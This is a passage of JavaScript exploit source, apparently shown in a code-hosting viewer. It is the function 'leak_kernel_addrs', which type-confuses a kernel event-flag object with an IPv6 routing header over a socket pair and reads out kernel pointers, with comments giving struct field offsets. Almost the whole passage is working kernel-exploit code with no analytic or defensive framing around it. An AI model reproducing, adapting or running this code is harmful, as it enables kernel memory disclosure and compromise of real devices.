(sd_pair)
| 842 | } |
| 843 | |
| 844 | function leak_kernel_addrs(sd_pair) { |
| 845 | close(sd_pair[1]); |
| 846 | const sd = sd_pair[0]; |
| 847 | const buf = new Buffer(0x80 * leak_len); |
| 848 | |
| 849 | // type confuse a struct evf with a struct ip6_rthdr. the flags of the evf |
| 850 | // must be set to >= 0xf00 in order to fully leak the contents of the rthdr |
| 851 | log("confuse evf with rthdr"); |
| 852 | let evf = null; |
| 853 | for (let i = 0; i < num_alias; i++) { |
| 854 | const evfs = []; |
| 855 | for (let i = 0; i < num_handles; i++) { |
| 856 | evfs.push(new_evf(0xf00 | (i << 16))); |
| 857 | } |
| 858 | |
| 859 | get_rthdr(sd, buf, 0x80); |
| 860 | // for simplicity, we'll assume i < 2**16 |
| 861 | const flags32 = buf.read32(0); |
| 862 | evf = evfs[flags32 >>> 16]; |
| 863 | |
| 864 | set_evf_flags(evf, flags32 | 1); |
| 865 | get_rthdr(sd, buf, 0x80); |
| 866 | |
| 867 | if ((buf.read32(0) === flags32) | 1) { |
| 868 | evfs.splice(flags32 >> 16, 1); |
| 869 | } else { |
| 870 | evf = null; |
| 871 | } |
| 872 | |
| 873 | for (const evf of evfs) { |
| 874 | free_evf(evf); |
| 875 | } |
| 876 | |
| 877 | if (evf !== null) { |
| 878 | log(`confused rthdr and evf at attempt: ${i}`); |
| 879 | break; |
| 880 | } |
| 881 | } |
| 882 | |
| 883 | if (evf === null) { |
| 884 | die("failed to confuse evf and rthdr"); |
| 885 | } |
| 886 | |
| 887 | set_evf_flags(evf, 0xff << 8); |
| 888 | get_rthdr(sd, buf, 0x80); |
| 889 | |
| 890 | // fields we use from evf (number before the field is the offset in hex): |
| 891 | // struct evf: |
| 892 | // 0 u64 flags |
| 893 | // 28 struct cv cv |
| 894 | // 38 TAILQ_HEAD(struct evf_waiter) waiters |
| 895 | |
| 896 | // evf.cv.cv_description = "evf cv" |
| 897 | // string is located at the kernel's mapped ELF file |
| 898 | const kernel_addr = buf.read64(0x28); |
| 899 | log(`"evf cv" string addr: ${kernel_addr}`); |
| 900 | // because of TAILQ_INIT(), we have: |
| 901 | // |
no test coverage detected